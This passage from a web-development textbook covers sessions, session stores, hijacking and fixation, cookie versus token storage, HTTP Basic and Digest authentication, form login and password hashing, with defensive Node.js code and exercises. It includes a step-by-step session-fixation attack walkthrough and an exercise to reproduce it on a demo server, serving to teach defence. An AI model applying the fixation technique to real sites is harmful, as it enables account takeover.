   Browser <-- Set-Cookie: sid=Q2x9...; HttpOnly; Secure; SameSite=Lax

2. Login
   Browser --- POST /login  Cookie: sid=Q2x9... -----------------> verifies password
                                         REGENERATES the ID (see fixation, later)
                                         store: { userId: 7, roles: ["user"] } under sid=Zp4L...
   Browser <-- Set-Cookie: sid=Zp4L...

3. Later requests
   Browser --- GET /orders  Cookie: sid=Zp4L... -----------------> store lookup -> userId 7

4. Logout or expiry
   Browser --- POST /logout  Cookie: sid=Zp4L... ----------------> store: delete Zp4L...
   Browser <-- Set-Cookie: sid=; Max-Age=0

What makes a good session ID. The ID is effectively a temporary password: anyone who presents it is treated as the user. It must therefore be:

Property	Why	How
Unpredictable	Attackers must not guess valid IDs	Generated by a cryptographically secure random number generator
Long enough	Brute force infeasible	At least 128 bits of entropy (OWASP recommends at least 64; more is cheap)
Meaningless	No information leakage	No user ID, timestamp or counter inside
Unique and server-issued	Prevent fixation and collisions	Server generates; never accept client-chosen IDs

import { randomBytes } from 'node:crypto';

const sessionId = randomBytes(32).toString('base64url'); // 256 bits from a CSPRNG
// NOT: Math.random(), Date.now(), incrementing counters, or hashes of the username

A minimal session implementation. Frameworks provide this (express-session, Chapter 12), but writing it once makes the mechanism clear:

import { createServer } from 'node:http';
import { randomBytes } from 'node:crypto';

const sessions = new Map();                        // sid -> { data, expiresAt } (demo: in memory)
const TTL_MS = 30 * 60 * 1000;                     // 30 minutes idle timeout

function getSession(req, res) {
  const sid = /(?:^|;\s*)sid=([^;]+)/.exec(req.headers.cookie ?? '')?.[1];
  const existing = sid && sessions.get(sid);
  if (existing && existing.expiresAt > Date.now()) {
    existing.expiresAt = Date.now() + TTL_MS;      // sliding expiration: extend on activity
    return existing.data;
  }
  const newSid = randomBytes(32).toString('base64url');
  const session = { data: {}, expiresAt: Date.now() + TTL_MS };
  sessions.set(newSid, session);
  res.setHeader('Set-Cookie', `sid=${newSid}; Path=/; HttpOnly; SameSite=Lax`); // add Secure on HTTPS
  return session.data;
}

createServer((req, res) => {
  const session = getSession(req, res);
  session.views = (session.views ?? 0) + 1;        // state survives across requests
  res.end(`You have viewed this page ${session.views} times\n`);
}).listen(3000);

Signed session cookies. Libraries often sign the session ID cookie with a secret (for example sid=s%3AQ2x9....signature). The signature does not make the random ID more secure, but it lets the server reject forged or malformed IDs cheaply before touching the store.

Key Takeaways

• A session is server-side state associated with a client through a session ID, normally stored in a cookie.
• Session IDs act as temporary passwords: generate them with a CSPRNG, with at least 128 bits of entropy, and put no meaning in them.
• Create a new ID at login and destroy the session at logout.
• Session data lives on the server, so it can be large, sensitive and changed or revoked at any time.

Practice

1. (Beginner) Run the minimal session server, open it in two different browsers, and explain why each browser has its own counter.
2. (Intermediate) Extend the example with /login?user=ada and /logout routes that store and delete the user name, regenerating the session ID on login.
3. (Interview) "Why is sessionId = sha256(username + Date.now()) a bad session ID?" Hint: estimate how many guesses an attacker who knows the username and the approximate login time would need.

Session Stores and Expiration

Where session data lives determines how an application scales, how fast each request is, and what happens when a server restarts. Expiration policies decide how long a stolen or forgotten session stays usable.

The problem with in-memory sessions. The Map in the previous example works on a single process only:

              +--> Node process A: sessions { Zp4L: user 7 }
Load balancer |
              +--> Node process B: sessions { }        <- request with sid=Zp4L: "not logged in"
  Also: a restart or deployment wipes every session; memory grows without bound.

Two fixes exist: sticky sessions (the load balancer always routes a client to the same server, which is fragile when that server dies) or, preferably, a shared session store.

Store	Strengths	Weaknesses	Typical use
In-process memory	Fastest, zero setup	Lost on restart, not shared, leaks memory	Development only
Redis / Valkey	Very fast, built-in key expiry (TTL), shared	Extra service to run	The most common production choice
Relational DB (PostgreSQL, MySQL)	Already available, durable, queryable	Slower; expired rows must be cleaned up	Moderate traffic, audit needs
MongoDB	Flexible documents, TTL indexes	Extra load on the main database	MongoDB-based stacks
Signed/encrypted cookie (client-side)	No store at all	4 KB limit, hard to revoke, data sent on every request	Small, non-sensitive session data

// Express + express-session + Redis store (details in Chapter 12)
import express from 'express';
import session from 'express-session';
import { RedisStore } from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

const app = express();
app.set('trust proxy', 1);                         // behind a TLS-terminating proxy (10.1)
app.use(session({
  store: new RedisStore({ client: redisClient, prefix: 'sess:' }),
  secret: process.env.SESSION_SECRET,              // signs the session ID cookie
  name: '__Host-sid',
  resave: false,                                   // don't write unchanged sessions back
  saveUninitialized: false,                        // don't create sessions for anonymous visitors
  rolling: true,                                   // refresh expiry on every response (sliding)
  cookie: { httpOnly: true, secure: true, sameSite: 'lax', path: '/', maxAge: 30 * 60 * 1000 },
}));

Expiration policies. A session should end even if the user never clicks "log out", to limit the window in which a stolen ID is useful.

Policy	Rule	Purpose
Idle timeout (sliding)	Expires after N minutes without activity	Abandoned sessions on shared computers
Absolute timeout	Expires N hours after creation, regardless of activity	Caps the lifetime of a stolen ID
Explicit logout	Server deletes the session	User intent
Forced invalidation	Server deletes all of a user's sessions	Password change, suspected compromise, account deletion

Typical values: 15-30 minutes idle for banking and admin tools, hours or days for low-risk consumer apps, combined with an absolute limit. Expiry must be enforced on the server; the cookie's Max-Age is only a hint to the browser and can be ignored by an attacker who copied the ID.

Redis keys with TTL implement both timeouts naturally:

SET sess:Zp4L '{"userId":7,"createdAt":1791018000}' EX 1800   <- idle timeout 30 min
(on each request) EXPIRE sess:Zp4L 1800                         <- slide the window
(on each request) if now - createdAt > 8h -> DEL sess:Zp4L      <- absolute timeout check

"Log out everywhere": keep a set user:7:sessions -> {Zp4L, Ab9q, ...} and delete them all.

Key Takeaways

• In-memory sessions break with multiple processes or restarts; production uses a shared store.
• Redis/Valkey is the usual store thanks to speed and built-in TTLs; databases work for lower traffic.
• Combine an idle (sliding) timeout with an absolute timeout, and enforce both on the server.
• Invalidate all of a user's sessions on password change or compromise.
• Avoid creating sessions for anonymous visitors unless needed (saveUninitialized: false).

Practice

1. (Beginner) Explain what users experience if an app keeps sessions in memory and is deployed three times a day.
2. (Intermediate) Add an absolute timeout to the minimal session server from the previous topic, storing createdAt and rejecting sessions older than eight hours even if they are active.
3. (Interview) "How would you implement 'log out of all other devices' in a session-based application?" Hint: you need an index from user to session IDs, and you must keep the current session.

Session Hijacking and Fixation Risks

Because a session ID is equivalent to the user's credentials for its lifetime, attackers try to obtain a valid ID (hijacking) or plant one they already know (fixation). Defending sessions is mostly about denying both.

Session hijacking: stealing the ID.

Attack vector	How the ID is stolen	Defence
Network sniffing	Cookie sent over plain HTTP	HTTPS everywhere, Secure flag, HSTS
XSS	Injected script reads document.cookie	HttpOnly, output encoding, CSP (Chapter 17)
URL leakage	ID in URL ends up in logs, Referer, shared links	Never put session IDs in URLs
Malware / infostealers	Cookies copied from the browser's profile	Short lifetimes, re-authentication for sensitive actions, device binding
Prediction / brute force	Guessable IDs	CSPRNG IDs with at least 128 bits
Logs and error pages	Server logs headers or dumps request objects	Redact Cookie and Authorization in logs

Session fixation: planting the ID. The attacker does not steal the victim's ID; they make the victim use an ID the attacker already knows:

1. Attacker visits bank.example and receives sid=EVIL123 (anonymous session).
2. Attacker gets the victim's browser to use sid=EVIL123:
     - a link like https://bank.example/?sid=EVIL123 on apps accepting IDs from URLs, or
     - a cookie set via a compromised or user-controlled subdomain (Domain=bank.example).
3. Victim logs in. The application marks session EVIL123 as "user = victim".
4. Attacker, still holding sid=EVIL123, is now logged in as the victim.

The fix: regenerate the session ID on every privilege change. At login (and at any elevation, such as entering admin mode), issue a fresh ID and discard the old one. An ID known before login then becomes useless.

// Express + express-session: regenerate at login
app.post('/login', async (req, res, next) => {
  const user = await verifyCredentials(req.body.email, req.body.password);
  if (!user) return res.status(401).render('login', { error: 'Invalid credentials' });

  req.session.regenerate((err) => {          // new ID, old session destroyed
    if (err) return next(err);
    req.session.userId = user.id;
    req.session.createdAt = Date.now();
    req.session.save((err) => (err ? next(err) : res.redirect(303, '/account')));
  });
});

app.post('/logout', (req, res, next) => {
  req.session.destroy((err) => {             // remove server-side state
    if (err) return next(err);
    res.clearCookie('__Host-sid', { path: '/', secure: true, httpOnly: true, sameSite: 'lax' });
    res.redirect(303, '/');
  });
});

Other fixation defences: never accept session IDs from URL parameters, only accept IDs the server issued (reject unknown IDs instead of adopting them), and use the __Host- prefix so subdomains cannot inject the cookie.

Additional hardening.

• Re-authentication for sensitive actions (changing email or password, payments): ask for the password or an MFA step again even within a valid session.
• Binding hints: record the user agent and approximate location at login and flag significant changes. Binding strictly to IP address breaks mobile users whose IPs change, so it is rarely enforced.
• Session listing: show users their active sessions (device, location, last activity) and let them revoke them.
• Device-bound credentials: newer browser features such as Device Bound Session Credentials tie a session to a key stored in the device's secure hardware, so a copied cookie stops working elsewhere.

Key Takeaways

• Hijacking steals a valid session ID; fixation tricks the victim into using an ID the attacker knows.
• HTTPS + Secure, HttpOnly, strong random IDs and no IDs in URLs defend against hijacking.
• Regenerating the session ID at login and privilege changes defeats fixation.
• Logout must destroy the server-side session, not only clear the cookie.
• Require re-authentication for sensitive operations and let users view and revoke sessions.

Practice

1. (Beginner) For each defence (Secure, HttpOnly, regeneration at login, short idle timeout), name the attack it primarily mitigates.
2. (Intermediate) Reproduce session fixation against the minimal session server from earlier: log in in one browser using a session ID copied from another, without regeneration. Then add regeneration and show the attack fails.
3. (Interview) "If we only clear the cookie on logout but leave the session in Redis, what is the risk?" Hint: consider an attacker who copied the cookie value earlier.

Cookies vs Tokens vs Web Storage

Modern applications can keep credentials in cookies, in tokens sent through the Authorization header, or in browser storage. The choice affects security (XSS and CSRF exposure), architecture (single domain vs many APIs) and which clients you can support. The debate is often framed as "cookies vs JWT", but that mixes two separate questions: where the credential is stored and transported, and what it contains.

                   WHAT is in it?
                   opaque random ID (server lookup)    self-contained token (JWT, signed claims)
WHERE is it?      +---------------------------------+-------------------------------------------+
Cookie            | classic session cookie          | JWT stored in an HttpOnly cookie          |
(sent auto.)      |                                 |                                           |
                  +---------------------------------+-------------------------------------------+
JS-managed        | opaque access token in memory,  | JWT in memory or localStorage,            |
(Authorization    | introspected by the API         | sent as Authorization: Bearer             |
 header)          |                                 |                                           |
                  +---------------------------------+-------------------------------------------+

Browser storage options.

Storage	Capacity	Sent automatically	Readable by JS	Lifetime	Scope
Cookie	~4 KB each	Yes, to matching domain/path	Unless HttpOnly	Session or Max-Age	Domain + path
localStorage	~5-10 MB per origin	No	Yes	Until cleared	Origin, all tabs
sessionStorage	~5 MB per origin	No	Yes	Until the tab closes	Origin, single tab
In-memory variable	Unlimited	No	Yes (only by that page's code)	Until page reload	One page instance
IndexedDB	Large (quota-based)	No	Yes	Until cleared	Origin

The security trade-off.

	HttpOnly cookie	Token in localStorage + Authorization header
XSS	Script cannot read the credential (but can still act within the page)	Script can read and exfiltrate the token for use anywhere
CSRF	Browser attaches it automatically, so CSRF is possible; mitigate with SameSite and CSRF tokens	Not sent automatically, so CSRF does not apply
Cross-domain APIs	Hard: cookies are tied to a domain, need CORS with credentials	Easy: send the header to any API
Mobile / server clients	Awkward (need a cookie jar)	Natural
Revocation	Easy with server sessions	Hard for self-contained tokens (10.3)

Since XSS can do serious damage in either case, the deciding factor is usually: an HttpOnly cookie stops a stolen credential from being taken away, while CSRF is now well-mitigated by SameSite and tokens. For browser-based apps on your own domain, current guidance (including OWASP's) therefore favours HttpOnly, Secure, SameSite cookies, and recommends never putting long-lived tokens in localStorage.

Common patterns.

Application type	Recommended approach
Server-rendered site or SPA served from the same site as its API	Session cookie (HttpOnly; Secure; SameSite=Lax)
SPA calling third-party or multiple APIs	Backend-for-Frontend (BFF): a small server on the SPA's domain holds tokens and gives the browser only a session cookie
SPA that must hold tokens itself	Short-lived access token in memory; refresh token in an HttpOnly cookie scoped to the refresh endpoint
Native mobile app	Tokens in the OS secure storage (Keychain, Android Keystore), sent in Authorization
Server-to-server	API keys or OAuth client-credentials tokens in headers (10.3)

// Same-origin SPA using a session cookie: no token handling in JavaScript at all
const res = await fetch('/api/orders', { credentials: 'same-origin' }); // default: cookie sent
// Cross-site API with cookies: needs credentials: 'include' + CORS with an explicit origin (5.4)

// Token-based alternative: the code must attach the token itself
let accessToken = null;                         // kept in memory, not localStorage
const res2 = await fetch('https://api.example.com/orders', {
  headers: { Authorization: `Bearer ${accessToken}` },
});

What belongs in Web Storage. Non-sensitive client state: UI preferences, drafts, cached API data for offline use, feature flags. Never passwords, long-lived tokens or personal data that should not survive on a shared computer.

Key Takeaways

• Separate where a credential lives (cookie or JS-managed) from what it is (opaque ID or self-contained token).
• HttpOnly cookies resist token theft through XSS but need CSRF protection; JS-managed tokens avoid CSRF but are exposed to XSS.
• For same-site web apps, prefer HttpOnly; Secure; SameSite cookies; use a BFF when an SPA needs third-party tokens.
• localStorage persists indefinitely and is readable by any script on the origin; keep credentials out of it.
• Native and server clients naturally use tokens in the Authorization header.

Practice

1. (Beginner) Fill in a table for cookie, localStorage and sessionStorage: survives closing the tab? survives closing the browser? shared between tabs? sent automatically to the server?
2. (Intermediate) Sketch the request flow for a React SPA on app.example.com that uses a BFF on the same domain to call a third-party API with OAuth tokens. Mark where each credential is stored.
3. (Interview) "A colleague proposes storing JWTs in localStorage because 'cookies are vulnerable to CSRF'. How do you respond?" Hint: compare what an XSS attacker can do with each, and how SameSite changed the CSRF picture.

<a id="103-authentication-and-authorization"></a>

10.3 Authentication and Authorization

This subchapter covers how web applications establish who a user or client is and what they may do: the HTTP authentication framework, password-based and session-based login, password storage, JSON Web Tokens, token lifecycles, OAuth 2.0 and OpenID Connect, API keys, role-based access control and multi-factor authentication.

Authentication vs Authorization

Two questions sit in front of every protected resource, and they are easy to confuse because both are often handled by the same "auth" code:

• Authentication (AuthN): Who are you? Verifying an identity claim, for example by checking a password, a token signature or a fingerprint.
• Authorization (AuthZ): What are you allowed to do? Deciding whether an authenticated (or anonymous) identity may perform a specific action on a specific resource.

At an airport, showing your passport at security is authentication (it proves you are Ada Lovelace); your boarding pass for gate B12 is authorization (it allows Ada onto this flight, not every flight).

 Request: DELETE /api/projects/17  Authorization: Bearer eyJ...
     |
     v
 +------------------------+   fails -> 401 Unauthorized + WWW-Authenticate
 | 1. Authentication      |            ("we don't know who you are")
 |    verify token -> user 7
 +------------------------+
     |
     v
 +------------------------+   fails -> 403 Forbidden
 | 2. Authorization       |            ("we know you, and the answer is no")
 |    may user 7 delete   |            or 404 to hide the resource's existence
 |    project 17?         |
 +------------------------+
     |
     v
  Handler executes

	Authentication	Authorization
Question	Who is the caller?	May the caller do this?
Input	Credentials (password, token, key, certificate, biometric)	Identity + action + resource + context
Output	An identity (user ID, client ID) and its attributes	Allow or deny
Failure status	401 Unauthorized	403 Forbidden (or 404)
Typical mechanisms	Passwords, sessions, JWT, OAuth/OIDC, passkeys, MFA	Roles (RBAC), ownership checks, attributes (ABAC), scopes
Happens	Once per login, then verified per request	On every request, for every action

Authorization must be checked on the server, per resource. The most common authorization bug is not a broken login but a missing ownership check: the API verifies that the caller is logged in, then returns /api/invoices/1002 without checking that invoice 1002 belongs to them. This is Broken Object Level Authorization (also called IDOR), at the top of the OWASP API Security Top 10.

// Express-style handler: authentication alone is NOT enough
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const invoice = await db.invoices.findById(req.params.id);
  if (!invoice) return res.sendStatus(404);
  if (invoice.ownerId !== req.user.id && !req.user.roles.includes('accountant')) {
    return res.sendStatus(404);              // authorization: hide other users' invoices
  }
  res.json(invoice);
});

Hiding a button in the UI is not authorization: anyone can send the HTTP request directly with curl.

Key Takeaways

• Authentication establishes identity; authorization decides permissions for an action on a resource.
• Failed authentication means 401; failed authorization means 403 (or 404 to hide existence).
• Authorization is evaluated on every request, on the server, including ownership checks per object.
• Client-side checks improve the user experience but provide no security.

Practice

1. (Beginner) Classify each as authentication or authorization: checking a TOTP code, checking that a user is an admin, verifying a JWT signature, checking that a document belongs to the caller, validating an API key.
2. (Intermediate) Find an endpoint in a project of yours that loads a record by ID and check whether it verifies ownership. Write a test that requests another user's record and expects 403 or 404.
3. (Interview) "Why does the HTTP spec call the 401 status 'Unauthorized' if it is about authentication?" Hint: historical naming, and look at which header must accompany a 401.

HTTP Basic Authentication

HTTP defines a generic authentication framework: a server challenges with 401 and a WWW-Authenticate header naming a scheme; the client retries with an Authorization header in that scheme. Basic is the simplest scheme (RFC 7617): the client sends a username and password with every request.

Browser                                                 Server
  | GET /admin                                            |
  |------------------------------------------------------>|
  | 401 Unauthorized                                      |
  | WWW-Authenticate: Basic realm="Admin area", charset="UTF-8"
  |<------------------------------------------------------|
  |   (browser shows its built-in login dialog)           |
  | GET /admin                                            |
  | Authorization: Basic YWRhOmMwbXB1dDNy                 |
  |------------------------------------------------------>|
  | 200 OK                                                |
  |<------------------------------------------------------|
  The browser then resends the header automatically for this realm.

Encoding is not encryption. The credential is just username:password encoded in Base64, which anyone can decode:

echo -n 'ada:c0mput3r' | base64        # YWRhOmMwbXB1dDNy
echo 'YWRhOmMwbXB1dDNy' | base64 -d    # ada:c0mput3r   <- trivially reversible
curl -u ada:c0mput3r https://example.com/admin   # curl builds the header for you

Basic authentication is therefore only acceptable over HTTPS.

A server-side implementation.

import { createServer } from 'node:http';
import { timingSafeEqual } from 'node:crypto';

const USER = 'ada';
const PASS = process.env.ADMIN_PASSWORD;            // never hardcode real credentials

function safeEqual(a, b) {                          // constant-time comparison
  const bufA = Buffer.from(a), bufB = Buffer.from(b);
  return bufA.length === bufB.length && timingSafeEqual(bufA, bufB);
}

createServer((req, res) => {
  const [scheme, encoded] = (req.headers.authorization ?? '').split(' ');
  if (scheme === 'Basic' && encoded) {
    const decoded = Buffer.from(encoded, 'base64').toString('utf8');
    const sep = decoded.indexOf(':');               // password may contain ':'; username may not
    const user = decoded.slice(0, sep), pass = decoded.slice(sep + 1);
    if (sep > 0 && safeEqual(user, USER) && safeEqual(pass, PASS)) {
      return res.end('Welcome to the admin area\n');
    }
  }
  res.writeHead(401, { 'WWW-Authenticate': 'Basic realm="Admin area", charset="UTF-8"' });
  res.end('Authentication required\n');
}).listen(3000);

timingSafeEqual prevents attackers from guessing the secret character by character by measuring how long the comparison takes. In a real system the password would be checked against a stored hash (see Password Hashing below).

Strengths and weaknesses.

Strengths	Weaknesses
Universally supported by browsers, curl, HTTP libraries	Password sent with every request (more exposure)
Stateless, no sessions or cookies	No logout: browsers cache credentials until closed
Trivial to implement, good for scripts and internal tools	Browser dialog cannot be styled; no "forgot password", MFA or lockout UI
	Credentials can leak through logs or misconfigured proxies

Where it is still used. Protecting staging sites and internal dashboards (often configured in nginx rather than in the app), machine-to-machine calls where the "password" is an API key (several APIs accept the key as the Basic username), and the OAuth token endpoint, where clients authenticate with their client ID and secret using Basic.

Key Takeaways

• The HTTP authentication framework uses 401 + WWW-Authenticate for the challenge and Authorization for the credentials.
• Basic sends base64(username:password) on every request: encoded, not encrypted; HTTPS is mandatory.
• Compare secrets in constant time and check against stored password hashes.
• Basic suits scripts, internal tools and staging protection, not consumer login.

Practice

1. (Beginner) Decode the header Authorization: Basic Z3Vlc3Q6aHVudGVyMg== by hand or with base64 -d and explain why seeing it in a log is a security incident.
2. (Intermediate) Protect a static directory with Basic authentication in nginx (auth_basic and an htpasswd file) and access it with curl -u.
3. (Interview) "Why is it hard to implement a logout button for Basic authentication?" Hint: who stores the credentials, and when does the browser stop sending them?

Digest Access Authentication

Digest authentication (RFC 7616, originally RFC 2617) was designed in the 1990s to fix Basic's biggest flaw at a time when HTTPS was rare: the password never travels over the wire. Instead the client proves it knows the password by sending a hash computed from the password and a one-time value supplied by the server.

The challenge-response idea. The server sends a random nonce; the client returns hash(username, password, nonce, request details). An eavesdropper sees only the hash, which is useless for a different nonce, so recorded responses cannot be replayed later.

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="api@example.com",
                  qop="auth",
                  algorithm=SHA-256,
                  nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",
                  opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS"

GET /dir/index.html HTTP/1.1
Authorization: Digest username="Mufasa", realm="api@example.com",
               uri="/dir/index.html", algorithm=SHA-256,
               nonce="7ypf/xlj9XXwfDPEoM4URrv/xwf94BcCAzFZH4GiTo0v",
               nc=00000001, cnonce="f2/wE4q74E6zIJEtWaHKaf5wv/H5QzzpXusqGemxURZJ",
               qop=auth,
               response="753927fa0e85d155564e2e272a28d1802ca10daf4496794697cf8db5856cb6c1",
               opaque="FQhe/qaU925kfnzjCev0ciny7QMkPqMAFRtzCUYo5tdS"

How the response is computed.

HA1      = H(username ":" realm ":" password)
HA2      = H(method ":" uri)
response = H(HA1 ":" nonce ":" nc ":" cnonce ":" qop ":" HA2)

H        = MD5 (legacy) or SHA-256 (RFC 7616)
nc       = nonce count: increments for each request with the same nonce (replay detection)
cnonce   = client nonce: random value chosen by the client

// Computing a Digest response (client side) in Node.js
import { createHash, randomBytes } from 'node:crypto';

const H = (s) => createHash('sha256').update(s).digest('hex');

function digestResponse({ username, password, realm, nonce, method, uri, nc = '00000001' }) {
  const cnonce = randomBytes(16).toString('hex');
  const ha1 = H(`${username}:${realm}:${password}`);
  const ha2 = H(`${method}:${uri}`);
  const response = H(`${ha1}:${nonce}:${nc}:${cnonce}:auth:${ha2}`);
  return { cnonce, nc, response };      // sent in the Authorization header with the other fields
}

Why Digest faded.

Problem	Explanation
Server must store HA1 or the plain password	HA1 is password-equivalent for that realm and cannot be a slow, salted hash like bcrypt or Argon2
Weak algorithm in practice	Most deployments used MD5, which is fast to brute-force
No server authentication	A man-in-the-middle can downgrade the client to Basic
Limited protection	Only the credentials are protected; the request and response bodies travel in clear text
Same UX problems as Basic	Browser dialog, no logout, no MFA

Once HTTPS became universal, it protected everything (not just credentials) and let servers store passwords with modern hashing. Digest survives mainly in embedded devices, IP cameras, SIP telephony and some legacy enterprise systems; curl --digest and most HTTP libraries still support it.

Key Takeaways

• Digest is a challenge-response scheme: the client sends a hash of the password combined with a server nonce, never the password itself.
• Nonces, nonce counts and client nonces defend against replay.
• The server must store password-equivalent data (HA1), which conflicts with modern password hashing.
• HTTPS plus form or token authentication has replaced Digest on the Web; it lingers in devices and legacy systems.

Practice

1. (Beginner) Explain in your own words why capturing one Digest Authorization header does not let an attacker reuse it a minute later, while capturing a Basic header does.
2. (Intermediate) Use curl --digest -u user:passwd -v https://httpbin.org/digest-auth/auth/user/passwd and identify the nonce, cnonce and response values in the exchange.
3. (Interview) "Digest never sends the password, so why is it considered less secure than Basic over HTTPS?" Hint: compare what each scheme forces the server to store and what TLS protects.

Form-Based and Session-Based Login

Almost every website logs users in with its own HTML form, not with the browser's Basic/Digest dialog. The form collects credentials, the server verifies them, and a session (10.2) remembers the result. This gives full control over the user experience: branding, "remember me", password reset, MFA, rate limiting and error messages.

The complete flow.

1. GET /login                          -> HTML form (with a CSRF token)
2. POST /login  email=...&password=... -> server:
     a. rate-limit by account and IP
     b. look up user by email
     c. verify password against stored hash (constant time)
     d. regenerate session ID, store userId in session
     e. 303 See Other, Location: /dashboard   + Set-Cookie: __Host-sid=...
3. GET /dashboard  Cookie: __Host-sid=... -> session lookup -> user 7 -> page
4. POST /logout                        -> destroy session, clear cookie, redirect

The login form.

<form method="post" action="/login">
  <input type="hidden" name="_csrf" value="r4nd0m-t0k3n">          <!-- CSRF protection, Chapter 17 -->
  <label>Email <input type="email" name="email" autocomplete="username" required></label>
  <label>Password
    <input type="password" name="password" autocomplete="current-password" required>
  </label>
  <button>Sign in</button>
</form>

The autocomplete values let password managers fill and save credentials correctly; on a sign-up form use autocomplete="new-password".

Server side (Express-style).

import argon2 from 'argon2';

app.post('/login', loginRateLimiter, async (req, res, next) => {
  const { email, password } = req.body;
  const user = await db.users.findByEmail(email.toLowerCase());

  // Verify even when the user does not exist, so response time does not reveal valid emails
  const hash = user?.passwordHash ?? DUMMY_HASH;
  const ok = await argon2.verify(hash, password);

  if (!user || !ok) {
    return res.status(401).render('login', { error: 'Invalid email or password' }); // generic message
  }
  req.session.regenerate((err) => {                // prevent session fixation (10.2)
    if (err) return next(err);
    req.session.userId = user.id;
    res.redirect(303, '/dashboard');               // Post/Redirect/Get (10.1)
  });
});

function requireLogin(req, res, next) {           // reusable authentication middleware
  if (req.session.userId) return next();
  res.redirect(303, `/login?next=${encodeURIComponent(req.originalUrl)}`);
}
app.get('/dashboard', requireLogin, (req, res) => res.render('dashboard'));

Security checklist for login forms.

Concern	Practice
Credentials in transit	HTTPS only; never send the form over HTTP
User enumeration	Same message and similar timing for "unknown email" and "wrong password" (also for reset and sign-up flows)
Brute force and credential stuffing	Rate limit per account and per IP, progressive delays, CAPTCHA after failures, check passwords against breach lists
Session fixation	Regenerate the session ID after login
CSRF on login and logout	CSRF tokens and SameSite cookies; logout must be POST, not a GET link
Open redirects	Only accept relative, same-site next URLs after login
"Remember me"	A separate long-lived, random, revocable token stored hashed on the server, not a longer session
Password managers	Correct autocomplete, allow paste, no maximum length below 64 characters

Key Takeaways

• Form-based login posts credentials to the server, which verifies them and creates a session cookie.
• Regenerate the session on login, redirect with 303, and destroy the session on logout (via POST).
• Return identical errors for unknown users and wrong passwords to prevent enumeration.
• Rate limiting, breach-password checks and CSRF protection are part of a correct login implementation.
• Use proper autocomplete attributes so password managers work.

Practice

1. (Beginner) Write the HTML for a sign-up form with email, password and password confirmation, using the correct autocomplete values.
2. (Intermediate) Implement login, logout and a protected /dashboard with express-session, including the ?next= redirect, and validate that next cannot point to another site.
3. (Interview) "How would you design 'remember me' so that a stolen remember-me cookie can be detected and revoked?" Hint: look up the selector/validator pattern and token rotation on each use.

Password Hashing and Salting

Databases leak: through SQL injection, stolen backups, misconfigured cloud buckets or insiders. Since people reuse passwords, a leaked password table exposes users on other sites too. A server should therefore never store passwords in a form that can be turned back into the original password, and should make guessing as slow as possible.

Why not encryption or plain hashing.

Storage	Problem
Plain text	Leak = every password exposed immediately
Encryption (AES)	Reversible: whoever gets the key (often stored next to the data) gets every password
Fast hash (MD5, SHA-1, SHA-256)	GPUs compute billions of guesses per second; identical passwords give identical hashes; precomputed tables (rainbow tables) work
Fast hash + salt	Defeats precomputed tables, but brute force is still very fast
Slow, salted password hash (Argon2id, scrypt, bcrypt, PBKDF2)	Each guess is deliberately expensive; each password has a unique salt

Salt. A random value (at least 16 bytes), generated per password and stored next to the hash. It ensures that two users with the password summer2026 get different hashes and that an attacker must attack each hash separately. The salt is not secret.

Work factor. Password hashing functions are intentionally slow and tunable: you choose parameters so that one hash takes tens to hundreds of milliseconds on your server. For a legitimate login that is unnoticeable; for an attacker trying billions of guesses it is crippling. Memory-hard functions (Argon2id, scrypt) also require lots of RAM per guess, which neutralises GPUs and custom hardware.

Pepper (optional). A secret key stored outside the database (in a secrets manager or HSM), mixed in with an HMAC, so that a database dump alone is not enough to start cracking.

Algorithm	Recommendation (OWASP, current)	Notes
Argon2id	Preferred: 19 MiB memory, 2 iterations, 1 degree of parallelism (or stronger)	Winner of the Password Hashing Competition (2015)
scrypt	N = 2^17, r = 8, p = 1	Built into Node.js crypto
bcrypt	Cost 10 or more	Widely available; truncates input at 72 bytes
PBKDF2-HMAC-SHA256	600,000 iterations or more	Needed for FIPS-140 compliance; not memory-hard

Argon2id in Node.js (the argon2 npm package stores algorithm, parameters, salt and hash in one self-describing string):

import argon2 from 'argon2';

const hash = await argon2.hash('correct horse battery staple'); // argon2id with a random salt by default
console.log(hash);
// $argon2id$v=19$m=65536,t=3,p=4$Zl0yQ0p...$Wq4mG8...
//  ^algo     ^ver ^memory KiB, iterations, parallelism  ^salt  ^hash

const ok = await argon2.verify(hash, 'correct horse battery staple'); // true

scrypt with only the standard library.

import { scrypt, randomBytes, timingSafeEqual } from 'node:crypto';
import { promisify } from 'node:util';

const scryptAsync = promisify(scrypt);
const PARAMS = { N: 2 ** 17, r: 8, p: 1, maxmem: 256 * 1024 * 1024 }; // ~128 MiB per hash

export async function hashPassword(password) {
  const salt = randomBytes(16);                                  // unique per password
  const key = await scryptAsync(password.normalize('NFKC'), salt, 64, PARAMS);
  return `scrypt$${salt.toString('base64')}$${key.toString('base64')}`;
}

export async function verifyPassword(password, stored) {
  const [, saltB64, keyB64] = stored.split('$');
  const expected = Buffer.from(keyB64, 'base64');
  const actual = await scryptAsync(password.normalize('NFKC'), Buffer.from(saltB64, 'base64'),
                                   expected.length, PARAMS);
  return timingSafeEqual(actual, expected);                      // constant-time comparison
}

Upgrading old hashes. Because the stored string records the algorithm and parameters, you can raise the work factor over time: on each successful login, if the stored hash uses outdated parameters, rehash the (now known) password with the new ones (argon2.needsRehash(hash) does this check). Legacy MD5/SHA-1 tables can be migrated immediately by wrapping them (argon2(md5(password))) and then rehashing properly at the next login.

Password policy (NIST SP 800-63B). Require at least 8 characters (15 or more when the password is the only factor), allow at least 64 characters and all Unicode characters including spaces, check new passwords against lists of breached passwords (for example the Have I Been Pwned range API), and do not force periodic changes or arbitrary composition rules ("one uppercase, one symbol").

Key Takeaways

• Never store passwords in plain text, encrypted, or with fast hashes like SHA-256.
• Use a slow, salted, preferably memory-hard function: Argon2id first, then scrypt, bcrypt or PBKDF2.
• Salts are unique per password and not secret; peppers are secret and stored outside the database.
• Store algorithm and parameters with the hash so you can rehash with stronger settings at login.
• Follow modern policy: length over complexity, breached-password checks, no forced rotation.

Practice

1. (Beginner) Hash the same password twice with argon2.hash and explain why the outputs differ yet both verify.
2. (Intermediate) Measure how long one hash takes with bcrypt cost 10, 12 and 14 and with Argon2id at the default settings on your machine. Pick parameters that take about 100-250 ms and justify the choice.
